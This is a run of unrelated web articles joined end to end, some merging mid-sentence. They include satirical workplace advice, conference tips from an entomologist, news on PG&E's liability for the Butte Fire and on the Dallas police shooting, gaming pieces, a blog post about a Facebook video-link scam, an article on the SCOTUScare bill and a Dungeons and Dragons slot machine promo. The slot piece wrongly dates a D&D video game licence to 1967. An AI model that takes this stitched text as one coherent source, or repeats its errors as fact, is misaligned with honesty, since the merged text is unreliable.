Never Ask for Vacation. When the time is right, your boss will inform you that you can go on vacation. He is the one who knows when it is suitable for the company to have you away for a few days. It can’t be in the middle of a project obviously, nor in the beginning, and definitely not near the end of it. It is usually matched with popular vacation periods in a year (e.g. Christmas, New Year). That might be a bit more expensive for you, but reward of not betraying the company is priceless. If you do make a mistake of asking for a vacation, try to make it short. The worst thing you can do while trying to extend vacation days is to mention that you could “still work while out of the office”—that will immediately get you in a position where you don’t need the office, hence the office doesn’t need you.
Added 30-Jun-2016:
CC Your Boss. Add your boss in a CC for as many emails as possible. The more emails that come from you, the more valuable you are. Your boss must see that you’re actively involved in many communications and that it’s simply impossible to replace you. Besides that, CC-ing the boss is a sign of respect. She or he will never forget that.
Sigh, Don’t Laugh. You must look very concerned about situations regarding the project, the team, the management, the office space, and everyone’s future. If you’re not concerned and laugh about it, how can you be trusted? That’s a clear sign that you’re not taking your job seriously, and who knows what you will do tomorrow. Don’t be like that. Instead, always look a bit sad. God forbid you look happy in front of the boss.
Care About Everything. No matter what the discussion is about, you care about the subject. There is nothing involving the team that doesn’t bother you. You must show that you feel responsible for every problem and each task. Also, when there is a discussion in the office and someone is doing his own thing, paying no attention to the subject, you should ask, “Doesn’t this concern you at all?” Make him feel guilty for not being careful enough—that will give you a lot of points for “being on top of all things.”
Look Tired. Always look a bit tired, as if you were working all night and barely got a few hours of sleep. Also, try to make it obvious that you were fixing some old bug in the system that nobody except you really cares about. You must not look too energetic—this disrespects your boss. He didn’t give you enough work to wear you out completely? That means he is a bad manager. Instead, you should even joke that “our boss knows how to keep us busy.” That flattery will definitely please even a smart person.
Added 13-Aug-2017:
Have No Hobbies. It’s very annoying to see you enjoying something else aside from the job in the office. Your happiness and your heart must be here, at the work desk. Not somewhere else, at a snow slope or a tennis court. Sport, dancing, singing, gaming, painting, even open sourcing—are the activities you must hide. You are betraying your boss and your company if anything aside from the project is making you happy.
If you follow all these rules, you won’t be fired, ever. Well, until the company is bankrupt, that is. If it’s a startup, it will go bankrupt for sure, thanks to you and people like you. If it’s a big enterprise, it probably won’t, unfortunately. You will be safe, and your resume will have an impressive “12 years at Oracle” statement. Well, that’s an achievement, isn’t it?
I don’t think so.By Gwen Pearson
The Annual Meeting of the Entomological Society of America is the largest insect meeting in the world. There are usually about 3,000 insect scientists of all kinds, from every continent except Antarctica. Talks start at 8:00 AM and run until 9:00 PM at night. For four days. By the end you just feel like your brain is swollen. But in a good way.
It’s exciting for me to be going back to an ESA meeting, since for the last four years or so, I’ve mostly been at science communication meetings, or science fiction conventions. Yep, you read that right. Science fiction conventions are a great place for science outreach! And, you get to wear costumes. The photo above shows me with some friends at ConVergence, where I was on several “Ask A Scientist Anything” panels.
It may be a bit of an adjustment to return to an ESA meeting. Of all the professional meetings I attend, the ESA has the highest proportion of suits. It’s a time to make professional connections and present research. It’s also a great time to hang out, talk to old friends, and commune with fellow bug people.
If you are a student, or someone attending ESA for the first time: don’t be shy! Entomologists are fairly laid back, even if they do insist on wearing suits. Anyone with an official ribbon–even the ESA President–will make time to talk to you.
As an introvert, it took me a while to figure out just how to deal with a conference that was that huge. Here are some tips that have been really helpful for me:
Don’t know anyone? It’s easiest to approach another person who’s standing alone. Then you have an immediate opening—“I don’t know anyone here—do you?”
When you join a group, smile, walk up, and join the circle. People will make room. Join the conversation. Ask open-ended questions.
If you are in a group and someone approaches, take the initiative to welcome and introduce them. This helps you learn names, and also makes the new person feel welcome.
Always pay attention to the people that you are with. It is rude to scan for someone more important than the person that you are currently talking to.
Don’t sit alone when you have meals. That is a great time to sit down next to someone and start a conversation.
Remember that people like to help other people! It’s ok to ask for help.
Feel overwhelmed? Give yourself permission for a time-out. Head out to the hallway for some space, or find a quiet corner to recharge.
If you see me standing around, please do introduce yourself! I love meeting new people. I will NOT be wearing a suit, but I might have antennae on.
Plans for a Bug Blogger/Social media Tweetup are still being firmed up, but I hope to have more details for you soon.
—————————–
Gwen Pearson is the entomologist formerly known as Bug Girl. She obtained her PhD in entomology from North Carolina State University, and her Charismatic Minifauna blog appears in Wired Magazine. Follow her on Twitter at @bug_girl.State blames PG&E for Butte Fire, seeks at least $90 million
Firefighters monitor flames while battling the Butte fire near San Andreas, California on September 12, 2015. According to state fire agency CAL FIRE, the fire has burned more than 65,000 acres and 86 homes. Firefighters monitor flames while battling the Butte fire near San Andreas, California on September 12, 2015. According to state fire agency CAL FIRE, the fire has burned more than 65,000 acres and 86 homes. Photo: JOSH EDELSON, Getty Images Photo: JOSH EDELSON, Getty Images Image 1 of / 62 Caption Close State blames PG&E for Butte Fire, seeks at least $90 million 1 / 62 Back to Gallery
California officials demanded more than $90 million from Pacific Gas and Electric Co. on Thursday after concluding that the company’s power lines caused a catastrophic fire in the Gold Country last year that killed two people and destroyed more than 900 structures.
The state is seeking to recover firefighting costs for the Butte Fire, which was traced to a pine tree that hit a PG&E power line on Sept. 9 in Amador County. An investigation by the Department of Forestry and Fire Protection found that PG&E and its tree-trimming contractors failed to maintain the tree.
If the amount sought is paid, it would be the largest award for wildfire damage against the utility on record.
“Under California law, utility companies are required to provide clearance between trees and their power lines,” said Daniel Berlant, a spokesman for the forestry agency also known as Cal Fire, which plans to send a demand letter to PG&E. “We do believe this tree should have been removed or maintained and so, as a result of that negligence, we are working to recover our costs to fight this fire.”
The blaze, the seventh-most destructive in California history, burned 70,868 acres in Amador and Calaveras counties, destroying or damaging 965 structures before it was contained three weeks later.
The Cal Fire report said PG&E contractors had removed two pine trees before the fire, exposing a gray pine in the same stand to sunlight. It apparently grew into the wire and sparked the fire.
County’s reaction
The state report prompted a strong reaction from Calaveras County officials, who said they would separately seek “hundreds of millions” of dollars from the utility. Total fire damage in the county was estimated at more than a $1 billion.
“We are shocked and dismayed by the extent of PG&E’s negligence and will actively seek justice for Calaveras County and its citizens,” said Supervisor Cliff Edson, the chairman of the board. “We will work tirelessly to secure rightful compensation for the county and our residents who are still grieving from the loss of loved ones, their livelihoods, homes, belongings and mementos.”
PG&E has said it spends $260 million a year to manage 50 million trees along its 134,000 miles of power lines.
The company said Thursday that it is “committed to doing the right thing for our customers,” but didn’t agree that the evidence proved negligence.
“Based on our preliminary review, we accept the report’s finding that a tree made contact with a power line,” the company said, “but we do not believe it is clear what caused the tree to fail or that vegetation management practices fell short.”
The fire broke out near Butte Mountain Road, just east of the town of Jackson. Nearly 5,000 firefighters responded to the blaze, using 18 helicopters, eight air tankers and 115 bulldozers, according to Cal Fire. About 550 homes were destroyed.
The state investigation report released Thursday said PG&E and its two contractors removed two pines in January 2015 that were near the one that contacted the power line, which “ultimately led to the failure.” Berlant said the remaining pine did not fall, but grew out of control, which the utility should have anticipated.
The tree erupted in flame after it touched the power conductor, causing embers to fall into dry, leafy fuels on the ground and touch off the conflagration, according to the investigation.
The tree-trimming contractors, ACRT Inc. of Akron, Ohio, and Trees Inc. of Houston, could not be reached for comment Thursday.
Both people who died in the fire lived in Mountain Ranch in Calaveras County. Mark McCloud, 67, and Owen Goldsmith, 82, a music teacher and composer, were killed after they stayed in their homes despite orders to evacuate.
PG&E already faces lawsuits filed by people who lost loved ones or property. In all, 500 families — including relatives of McCloud and Goldsmith — are seeking damages from the utility in Sacramento County Superior Court. Attorneys for the families said Cal Fire’s findings confirmed what they knew from their own investigations.
‘Devastating’
“This fire was absolutely devastating,” said John Fiske, whose firm is representing 20 people. “Some of them ended up becoming homeless because of this. Some of these homes were in families for generations.”
An attorney for Goldsmith’s two daughters, Mike Danko, said many homeowners in the area did not want to leave, despite warnings from officials to evacuate.
“When the fire came, he said, ‘Look, I’m 81 and I’m staying in this spot and I’m going to fight the fire,’” Danko said of Goldsmith. “And that’s what he did, and the fire won.”
Many residents relocated in the wake of the destruction, but those who returned were greeted by an unfamiliar landscape, Danko said. What was once a forested area had become a “war zone” filled with allergy-inducing dust, smoke and soot, he said, “and for those who want to sell what they have left, they can’t. The property isn’t worth anything.”
“Everything is gone,” said Stephanie Mathes, one of Goldsmith’s daughters. PG&E seems “to be a bit reckless in some of their processes, and people suffer.”
Attorneys for the plaintiffs said insurance companies pegged total insured loss from the fire at about $500 million.
Power lines have previously sparked a number of big California wildfires. In 2012, PG&E and two of its contractors agreed to pay $29.5 million to settle two federal lawsuits after the company's power lines sparked two wildfires in 2004 in national forests in California. The fires torched more than 4,000 acres in Trinity and El Dorado counties.
Peter Fimrite and Kimberly Veklerov are San Francisco Chronicle staff writers. Email: pfimrite@sfchronicle.com, kveklerov@sfchronicle.com Twitter: @pfimrite, @kveklerovForum Jump
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, in Dallas. Police say one rapid-transit officer has been killed and three injured when gunfire erupted during a protest in downtown Dallas over recent fatal shootings by police in Louisiana and Minnesota. (Ting Shen/The Dallas Morning News via AP)
Thursday's bloodshed, which unfolded just a few blocks from where President John F. Kennedy was slain in 1963, also evoked the trauma of the nation's tumultuous civil rights era.
Police Chief David Brown blamed "snipers," but it was unclear how many shooters were involved. Authorities initially said three suspects were in custody and a fourth dead.
Police were not sure they had located all possible suspects, but by Friday attention was focusing on a man who was killed by law enforcement with a robot-delivered bomb in a parking garage where he had exchanged fire with officers.
Authorities resorted to the bomb after hours of negotiations failed, Brown said.
Before dying, the police chief said, the suspect declared to officers that he was upset about recent shootings and wanted to kill whites, "especially white officers."
The suspect also said he was not affiliated with any groups and stated that he acted alone, Brown added.
None of the suspects was identified, and the police chief said he would not disclose any details about them until authorities were sure everyone involved was in custody.
The shooting began about 8:45 p.m. Thursday while hundreds of people were gathered to protest the week's fatal police shootings in Baton Rouge, Louisiana, and suburban St. Paul, Minnesota. Brown told reporters the snipers fired "ambush-style" on the officers. Two civilians were also wounded.
Brown said it appeared the shooters "planned to injure and kill as many officers as they could."
Video from the scene showed protesters marching along a downtown street about half a mile from City Hall when shots erupted and the crowd scattered, seeking cover. Officers crouched beside vehicles, armored SWAT team vehicles arrived and a helicopter hovered overhead.
Demonstrations were held in several other U.S. cities Thursday night to protest the police killings of two more black men: A Minnesota officer on Wednesday fatally shot Philando Castile while he was in a car with a woman and a child, and the shooting's aftermath was livestreamed in a widely shared Facebook video. A day earlier, Alton Sterling was shot in Louisiana after being pinned to the pavement by two white officers. That, too, was captured on a cellphone video.
The Dallas shootings occurred in an area of hotels, restaurants, businesses and some residential apartments only a few blocks from Dealey Plaza, the landmark made famous by the Kennedy assassination.
The scene was chaotic, with officers with automatic rifles on the street corners.
"Everyone just started running," Devante Odom, 21, told The Dallas Morning News. "We lost touch with two of our friends just trying to get out of there."
Carlos Harris, who lives downtown, told the newspaper that the shooters "were strategic. It was tap, tap, pause. Tap, tap, pause," he said.
Brown said the suspects "triangulated" in the downtown area where the protesters were marching and had "some knowledge of the route" they would take.
Video posted on social media appeared to show a gunman at ground level exchanging fire with a police officer who was then felled.
Mayor Mike Rawlings said one of wounded officers had a bullet go through his leg as three members of his squad were fatally shot around him.
"He felt that people don't understand the danger of dealing with a protest," said Rawlings, who spoke to the surviving officer. "And that's what I learned from this. We care so much about people protesting, and I think it's their rights. But how we handle it can do a lot of things. One of the things it can do is put our police officers in harm's way, and we have to be very careful about doing that."
Early Friday morning, dozens of officers filled the corridor of the emergency room at Baylor Medical Center, where other wounded officers were taken. The mayor and police chief were seen arriving there.
Four of the officers who were killed were with the Dallas Police Department, a spokesman said. One was a Dallas Area Rapid Transit officer. The agency said in a statement that 43-year-old officer Brent Thompson, a newlywed whose bride also works for the police force, was the first officer killed in the line of duty since the agency formed a police department in 1989.
"Our hearts are broken," the statement said.
Theresa Williams said one of the wounded civilians was her sister, 37-year-old Shetamia Taylor, who was shot in the right calf. She had thrown herself over her four sons, ages 12 to 17, when the shooting began.
Texas Gov. Greg Abbott directed the Texas Department of Public Safety to offer "whatever assistance the City of Dallas needs."
"In times like this we must remember — and emphasize — the importance of uniting as Americans," Abbott said.
Other protests across the U.S. on Thursday were peaceful, including in New York, Atlanta, Chicago and Philadelphia. In Minnesota, where Castile was shot, hundreds of protesters marched in the rain from a vigil to the governor's official residence.
President Barack Obama said America is "horrified" by the shootings, which have no possible justification. He called them "vicious, calculated and despicable."
Speaking from Warsaw, Poland, where he was meeting with leaders of the European Union and attending a NATO summit, the president asked all Americans to pray for the fallen officers and their families.
The National Law Enforcement Officers Memorial Fund, which tracks on-duty deaths, said the fatal shootings made Thursday the deadliest day for U.S. police since Sept. 11.
___
Copyright 2016 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Advance Wars, known as Game Boy Wars Advance 1 in Japan, is a turn-based strategy game and the first game in the Advance Wars series released outside Japan.
Contents show]
Plot
The game takes part in Wars World and involves five main countries, four of which are based on real world countries.
The story of the Advance Wars campaign begins with the nation of Orange Star in a war against the neighboring country of Blue Moon. As a tactical adviser for Orange Star, the player follows the war effort through all four countries over the course of the game. In the end, it is revealed that the enigmatic Black Hole Army, under the command of Sturm, is the true enemy. Using a CO doppelganger clone of Andy, Sturm stirred up war among the four countries in order to confuse, weaken, and eventually conquer them. Once this is revealed, the four countries unite to drive Black Hole out of their land. Along the way the player gains access to three COs; Andy, Max and Sami. In the final battle of the game the allied COs can vary, based on certain choices made and battles fought.
Field Training
The game begins with a small "Field Training" section. Under your role as adviser you go through several levels under the guidance of Nell, an Orange Star CO. While doing these missions you learn that Olaf of the Blue Moon army is invading Orange Star land. You are able to skip the other training levels if you are able to finish the last mission about Fog of War (Special Intel not required to be beaten).
1. Troop Orders
2. Terrain Intel
3. Base Capture
4. Unit Repair
5. APC ABCs
6. Tank Ops
7. Copter Tactics
8. Air Assault
9. Air Defense
10. Dogfights
11. Naval Forces
12. Climate Status
13. Fog of War
14. Special Intel
Campaign
After completing the Field Training, players are then allowed to do the main "Campaign" mode. At the start the Adviser is introduced to Andy, another Orange Star CO. In the following missions, the player must defeat Olaf, before fighting Grit and then Eagle of Green Earth. After the fight with Eagle, Max is introduced. The player is then given the choice of which character to go with: northeast with Andy, or east with Max.
1. It's War!
2. Gunfighter!
3. Air Ace!
Division - Max and Andy have separate paths
Andy's Path
4. Max Strikes!
5. Max's Folly?
6. Olaf's Navy!
*7. Olaf's Sea Strike
Max's Path
4. Max Strikes!
5. Sniper!
6. Blizzard Battle!
7. History Lesson!
Division Ends
8. Sami's Debut!
9. Kanbei Arrives!
10. Mighty Kanbei!
11. Kanbei's Error?
*12. Divide & Conquer!
*13. Sami Marches On!
*14. Sonja's Goal!
Division - Andy, Max and Sami have different levels but under the same name
15. Captain Drake!
16. Naval Clash!
17. Wings of Victory!
18. Battle Mystery!
Division Ends
19. Andy Times Two!
20.Enigma
21.The Final Battle
*22. Rivals!
*Denotes a bonus mission. The player must do something special in the previous mission to unlock it.
Playable Characters
Orange Star
Blue Moon
Green Earth
Yellow Comet
Black Hole
TriviaOwen's had an interesting chat with League of Legends lead champion designer Ryann Scott about Riot's character design philosophy, the reason their entire hero roster isn't free, and the differences between League of Legends and Dota 2. "Dota 2 is really true to Dota 1, that's a lot of the appeal. But we started from day one to say that's not what we want to be, he said "we don't want to be just like our predecessors, we wanted to find ways to evolve that genre."
Scott described how the design team wanted to improve on the Defence of the Ancients formula. "This is a cool game but we think there are certain improvements that make the gameplay not only more interesting to read on the screen, but also make it actually more interesting when you fight other people," he said. "More action, more back and forth moments instead of the fight being determined by the first person out of position and everything being very deterministic."
Valve's take on Dota remains faithful to the original WarCraft 3 mod, and Dota Allstars developer IceFrog is a leading member of the Dota 2 team. The entire hero roster from the Defence of the Ancients mod is being gradually recreated in the Source Engine. Riot have gone in a different direction with an entirely new collection of champions dreamed up by their designers and artists.
"We feel our approach is a way to take what was cool and take it to the next stage of it," Scott added. "And I think there are far more evolutions out there that hopefully we'll get to explore a lot of with League of Legends, but I think there's a lot of room for growth in this genre."
Riot's approach has worked rather well. In fact, according to a DFC report noted by Forbes, it's the most played PC game in the world. It also has a thriving e-sports scene, which Riot are seeking to encourage with the addition of a new Championship Series league, to launch next season, which will provide a prize pool of millions of dollars for the world's best teams to scrap over.The PlayStation Store and Xbox Live Marketplace have finally divulged exactly how much space Destiny 2 will take up on our consoles.
The PlayStation Store currently lists Destiny 2 ‘s PS4 download as 30.87GB—which is presumably accurate, despite the file size’s absence from the The PlayStation Store currently listsDestiny 2‘s PS4 download as 30.87GB—which is presumably accurate, despite the file size’s absence from the game’s online page listing —while the Xbox One file size clocks in at 29.15GB. Approximately 30GB seems fairly modest for a modern shooter, but fans should be aware that this will likely grow due to day-one updates.
With a release still nearly two months away, no file sizes for the PC version are available as of yet.
In other Destiny 2 news, the game’s In otherDestiny 2news, the game’s recently uncovered achievement/trophy list revealed the name of the shooter’s first raid, as well as a previously unknown difficulty level and more.
Destiny 2 is slated to launch September 6th on PlayStation 4 and Xbox One, with a PC release date of October 24th.For the second straight Sunday, the Eagles watched from the sidelines as a whole slate of NFL games played out. At kickoff on Monday night, it will have been 11 days since Philadelphia went to Charlotte and beat the Carolina Panthers to get to 5-1.
Asked whether that feels like an eternity, linebacker Jordan Hicks simply said: “It does.”
The time off has helped heal some bumps and bruises that were evident in the days leading up to, and coming out of, that physical contest with the Panthers.
Hicks, for one, had an ankle injury heading into that game. He tried to play through it but couldn’t continue and was removed in the first half. Running back Wendell Smallwood missed the game completely with a knee injury.
Related Eagles LB Jordan Hicks is out due to ankle injury
Both are expected to play against the Redskins.
“We were pretty banged up, not a lot of guys felt great,” said tight end Zach Ertz. “Obviously, Thursday games are tough from a physical standpoint, but I think with the off time we were able to get that mental edge back as well as physical.”
A potentially sluggish start after such a lengthy layoff cannot be discounted, though, predictably, several players said they don’t think it will be an issue.
“Honestly, the energy we’ve had this past week has been off the charts,” said Hicks. “Everybody’s feeling it. It’s contagious. Winning is contagious. It makes this game fun. We’re having a lot of fun right now going out there practicing doing the hard things, but competing day in and day out, and it’s been fun.”
The mood inside the locker room on Saturday was a good snapshot of a team enjoying itself.
Running back LeGarrette Blount and a production team member of the “Monday Night Football” crew squared off on the pop-a-shot machine in the back of the room while teammates watched and whooped. Other Eagles sat in their locker stalls joking with one another.
“We’re hungry for another game and we’re excited about it,” said Ertz. “I think we’re going to come out with a lot of energy.”Spam Spam and more Spam!!! There never seems to be an end to this. And I am not talking about Spam you and I normally receive via email. It’s the social networking sites that have turned into massive spammers – thanks to the large number of users it helps connect. With Twitter and Facebook being the largest social networking sites, malware writers are finding it easier to get people to click the like button or even share dubious links. What happens in turn are a chain of events that take place and the malicious link hits everyone in your account.
Malware as well as spam are fast becoming a real pain for most users. Not only do they bombard your once informative wall with unwanted elements but also trick you into downloading malware. One such instance was an update I received from a friend which said – “Hey <name> I can’t believe you are in this Video”.
This is what happened after I went about clicking the link.
The picture below shows the video that was shared on my FB wall. And yes I believe I was stupid enough to go and click – all for the sake of research.
Following which, it adds a link to the clipboard asking you to paste it in the address bar. However, the damage has already been done by clicking the video itself.
The link is a basic Java script that calls an applet which asks you to verify your account and also says ‘You Won’ – don’t we all wish the winning aspect were true – sadly it isn’t.
Clicking the link opens up a different tab that apparently should ask you to fill out a form – however, for some reason the page refused to load. So it’s beyond me to explain what the link contained.
Whatever be the case, it is recommend not to go about clicking whatever you see on your wall. Be it from your friend or even your family member as they themselves might have unconsciously clicked on a spam or malicious link. Scrutinize the video or link before you end up viewing it or even liking it. Second, stay away from applications or posts that sound too good to be true – because they aren’t. Apps or posts that say – ‘See who viewed your profile’ or ‘You won’t believe what this girl did to her dad’ – are an invitation to the devils dungeon. Even fake events are beginning to take flight.Following the Supreme Court’s monumentally controversial ruling on ObamaCare subsidies, Texas Republican Representative Brian Babin has decided to introduce legislation that would require the justices to enroll in the health insurance program.
The bill seeks to “amend Title I of the Patient Protection and Affordable Care Act to provide that only health plans made available by the Federal Government to Supreme Court Justices and staff are Exchange health plans.”
Babin seeks to make a point after the Supreme Court's unexpected 6-3 ruling in King v. Burwell on Thursday that determined the language found within the healthcare law means something very different than is actually written.
The New American’s Michael Tennant reports, “Although the law specifically states that refundable tax credits for the purchase of insurance are available only when coverage is bought on ‘an exchange established by the state,’ the majority — Chief Justice John Roberts along with Justices Anthony Kennedy, Stephen Breyer, Ruth Bader Ginsburg, Elena Kagan, and Sonia Sotomayor — found this phrase ‘ambiguous.’”
Writing for the majority, Chief Justice John Roberts determined that despite the unbelievable clarity of the words “established by the state,” the court should interpret the language in a way that is consistent with Congress’ intent, which was to “improve health insurance markets, not to destroy them.”
“The phrase ‘an exchange established by the state’ … may be limited in its reach to state exchanges,” Roberts argued. “But it is also possible that the phrase refers to all exchanges — both state and federal — at least for purposes of tax credits.”
Justice Antonin Scalia wrote a 21-page dissent that has become as well known as the ruling itself wherein he accused the majority of rewriting the law to suit the interests of the federal government.
Justice Scalia notes that the majority ruling ultimately obfuscates the role of the Supreme Court and undermines the meaning of words in general. “Words no longer have meaning if an exchange that is not established by a state is ‘established by the state,’” he remarked. “But normal rules of interpretation seem always to yield to the overriding principle of the present court: The Affordable Care Act must be saved.”
“We should just start calling this law SCOTUScare,” Scalia opined, remarking on the times the court has ruled favorably on the controversial portions of the healthcare law.
Seizing on Scalia’s terminology, Representative Brian Babin (R-Texas) introduced the SCOTUScare Act. “As the Supreme Court continues to ignore the letter of the law, it’s important that these nine individuals understand the full impact of their decisions on the American people,” the freshman Republican said in a statement.
The latest ruling from the Supreme Court is not the first time the court has applied broad interpretations of the healthcare law’s language. In 2012, almost exactly three years ago, Justice Roberts wrote for the majority opinion of the court that the individual mandate is a valid exercise of Congress’ taxing power. “Simply put, Congress may tax and spend,” he wrote.
Part of what made that ruling so egregious is that the reasoning upholding the individual mandate as a tax directly contracted statements made by the president himself in his public defense of his pet legislation. In an interview with George Stephanopoulos of ABC News in 2009, President Obama adamantly denied that the individual mandate was a tax. "I absolutely reject that notion," the president said.
And still, the majority opinion wrote,`
The Affordable Care Act describes the payment as a "penalty," not a "tax." That label cannot control whether the payment is a tax for purposes of the Constitution, but it does determine the application of the Anti-Injunction Act. The Anti-Injunction Act therefore does not bar this suit.
Representative Babin notes the obvious efforts the Supreme Court has made to preserve the healthcare law, and believes the justices should be subjected to that law.
Politico observes that members of Congress and most of their staffers are already required to get their workplace health insurance through the exchanges and that Babin’s bill would add a similar requirement for the high court.
The laws says,
Notwithstanding any other provision of law, after the effective date of this subtitle, the only health plans that the Federal Government may make available to Members of Congress and congressional staff with respect to their service as a Member of Congress or congressional staff shall be health plans that are — (I) created under this Act (or an amendment made by this Act); or (II) offered through an Exchange established under this Act (or an amendment made by this Act). (See Section 1312(d) of the law)
However, while it is true that members of Congress are subjected to ObamaCare like the rest of us, it’s worth noting that they also enjoy a regulatory fix that ultimately saves them thousands of dollars by allowing the federal government to subsidize their health plans.
Years ago, dozens of lawmakers had threatened to retire early or simply quit because of fears that their health insurance premiums would drastically increase as a result of a provision found in the healthcare law, the Grassley Amendment, which stated that the government may offer members of Congress and their staff only health insurance plans that are “created” in the bill or “offered through an exchange.”
Prior to ObamaCare, aides and lawmakers were covered under a very generous federal health insurance package whereby the government subsidizes approximately 75 percent of the premiums; however, by 2014, their health insurance costs would have skyrocketed.
As such, President Obama agreed to what was ultimately a congressional exemption from ObamaCare.
Market Watch reported at the time, “The Office of Personnel Management [OPM] now plans to rule that the government can continue to make a contribution to the healthcare premiums of the lawmakers and their staff, according to unnamed congressional sources and a White House official.”
CNS News opined that Americans in the private sector who purchased insurance through ObamaCare exchanges were only eligible for a subsidy if their income was below 400 percent of poverty, $94,200 for a family of four, yet members of Congress making $174,000 a year qualified for one.
In February of this year, Senator David Vitter (R-La.) sought to block Obama’s nomination of retired U.S. Navy Rear Adm. Earl Gay to serve as deputy director of the Office of Personnel Management because of OPM’s role in the Washington Exemption. "OPM created the Washington Exemption from Obamacare, and they still haven't answered questions about how and why," Vitter said in a statement.
Vitter also launched an investigation in February into Congress’ classification as a “small business” under ObamaCare.
“Allowing Congress — which employs nearly 16,000 individuals — to determine itself as a ‘small business’ doesn’t pass the common sense test. We need to know exactly how and why this was allowed to happen, so we can fix this injustice and eliminate Washington’s Obamacare Exemption,” said Vitter. “Washington insiders should be forced to live under Obamacare just like the rest of America without a special taxpayer funded subsidy.”
Representative Babin contends that the same can and should be said for Supreme Court justices, many of whom have clearly made it their goal to maintain the healthcare law. “By eliminating their exemption from Obamacare,” said Babin, “they will see firsthand what the American people are forced to live with!”Konami Gaming Inc. is considered to be one of the largest manufacturers and designers of slot and casino machines. The company recently announced that it is joining hands with Hasbro Inc., in order to design and manufacture for the popular brand, Dungeons and Dragons. The leading game and toy manufacturers have released the game to the public and is already popular for its huge cast of characters, vast and enchanting worlds, and engaging stories.
Dungeons and Dragons Slot Machine Theme
The game has undergone quite a number of changes, so it is hard for a veteran D&D player to go about without being awestruck. The subscription rates for this game rose by forty percent soon as this new version was released online
D&D is a five reel, twenty line video machine slot game, which means that there are at least five spinning reels using which you will need to form your winning combinations. For each coin that the player puts in, another payline is enabled. Once the reels stop spinning, the computer will check the combination of the symbols along the enabled paylines.
It is certainly quite exciting to take on roles of legendary heroes, while testing yourself against twenty vivid bonus slot lines. Players are at liberty to discover treasures, explore dungeons, and even battle various monsters in order to collect free additional spins and also a 20x multiplier. You can end your quest by spending all your rewards, starting with five to twenty five free spins in the Fortress Free Spins bonus. Users can retrigger the bonus in order to earn over 180 of the same multiplier’s free spins.
Key Features of Dungeons and Dragons Slots
The slot machine of Dungeons and Dragons game certainly has some stunning animations and graphics put in by Konami and Hasbro. Also, it is known to have a really high ratio of win rates, which makes it quite an awesome and entertaining slot game.
D&D slots has exclusive features such as scatter symbols, stacked wilds, wild symbols, dungeon batter features, fortress free spins, dungeon exploring features, and fortune bonus features. This slot machine game can either be played for real money or for free. If you play for real money, then the denominations being used will be ten to twenty coins, allowing a wager of up to five coins. In the regular multiline slot games, the maximum payouts allowed are about 12,500 credits for each bet line.
Players must be aware that for every coin that is bet, they will enable another one of their pay-lines. They will be paid out for only the enabled paylines’ winning combinations. All of the winning combinations usually pay from reels one to five, which is from left to right. This is in consecutive order, unless it is the polyhedral dice symbol. For this scatter symbol, the pay can be in any direction.
Overall Experience
The fantasy game is entirely based on the legendary series of Dungeons and Dragons, where the player can play one to twenty lines. Also, the game has a hundred credits bet as its maximum. Theoretically, the average return to payers can be about 94.5 percent. Any one of the three hero avatars can be selected by the player, which makes the game all the more exciting. The maximum win is capped to about 250,000 units of currency on any transaction. One transaction usually includes free spin result bonuses along with the outcome that initially launched the bonus. Awards in the game are usually shown in credits and there are no malfunction voids experienced.
Prior to the player’s arrival, the configuration and contents of the dungeon are determined. It usually does not change until the required bonus is complete. Depending on the path chosen by the player, the course of the adventure is determined. In the lower levels of the dungeons, there exist at least more than two stairways that lead to the level above. However, the players can see only the bottom stairs and none of the other stairways.
While playing the game, you will notice that the chambers below the stairways are always empty and no central room stairway exists. The first level of all the dungeons is never inhabited by monsters. Also, the strength of the monsters increases as the player descends deeper into the dungeon. All these features add to the thrill and excitement of the player, making this quite a brilliant video slot game. However, one point that can slightly dampen the players’ spirits is that only one enchanted weapon can be found in each dungeon. Also, each of three characters has quite an equal chance of winning the game.
Dungeons and Dragons Video Game
There exists a list of video games that are based on the fantasy of Dungeons and Dragons, which includes role playing games, console games, computer games, arcade games, and mobile games. Strategic Simulations Inc. was the first every organization to be granted license to produce video games based on the mythical world of Dungeons and Dragons in 1967.
The crossover audience for the Dungeons and Dragons video games cannot be represented using any sort of statistical diagram because there are so many. The videogames deal with the wonders of escaping to an extremely creative and fantastical world. Since the very first creators of the videogames were unable to put in life-like scenarios into the plot, they relied completely on their massive and brilliant imaginations to create the mythical game. Ever since, all the D&D games are based on elements of fantasy and mystery. Players will need to conjure up weapons and fight battles along with dragons.
The players can choose their own characters and dress them up with their choice of weaponry. Dungeons and Dragons is more than just a basic adventure game. It always has exciting goals such as restoring crowns, saving royalty, or killing monsters. In the process, players get to cross randomly generated rooms, simultaneously fending off obstacles.Yay it’s time to relax and enjoy the festive season, but wait you have a shit ton of homework from your teachers and your parents are nagging you to get a head start on next year’s work by doing some extra revision….. So what do you do, do you choose to ignore all of them and just relax and do absolutely nothing the entire break, or do you choose to work (which is nearly impossible as you are completely burned out from the last few months of suffering, so you end up procrastinating your break away). It’s a lose-lose situation!
The fact is that most of us get 3-4 weeks of break, but we only really need 1 week to finish everything off and get a head start on next year’s work. So why do we bother so much on working the entire break and ruining our holidays. Now, what I suggest you do is talk with your parents and see what they have planned for the break (while you be leaving to the mountains, staying home and etc…). From this you’ll be able to deduce how much time you’ll have at home with absolutely nothing to do. You should optimally have one week towards the end of you break when you are free and this is when you should be doing all your work (yes, leave it to the last minute). Realistically people when provided with an entirely free day can clock in around 4 hours of work (if you can do more perfect, but do not overestimate your abilities), this means you’ll have at least 28 hours to finish everything. So why kill ourselves, just relax until your working week comes along and get to work. Use you break to unwind, don’t get burned out and give yourself some breathing room.
Relax and take it easy. You deserve it.A novel government programme that uses basic psychology to help people get back into work has improved the job prospects of the unemployed by nearly 20 per cent, it was claimed today.
During trials in Essex more than 2,000 job seekers were divided into two groups with one being given traditional support from Job Centre staff and the other working from a new programme designed to increase incentives to find work.
Under the new scheme Job Centre staff get claimants to identify and write down what they are going to do to find work in the next two weeks as well as how and when they are going to do it.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
At the end of the trial those taking part in the new programme were 15-20 per cent more likely to be in work within 13 weeks from signing on.
The scheme, designed by the Government’s behavioural insights team, has now been rolled out across Essex. If it achieves similar results it is likely to be adopted across the country.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
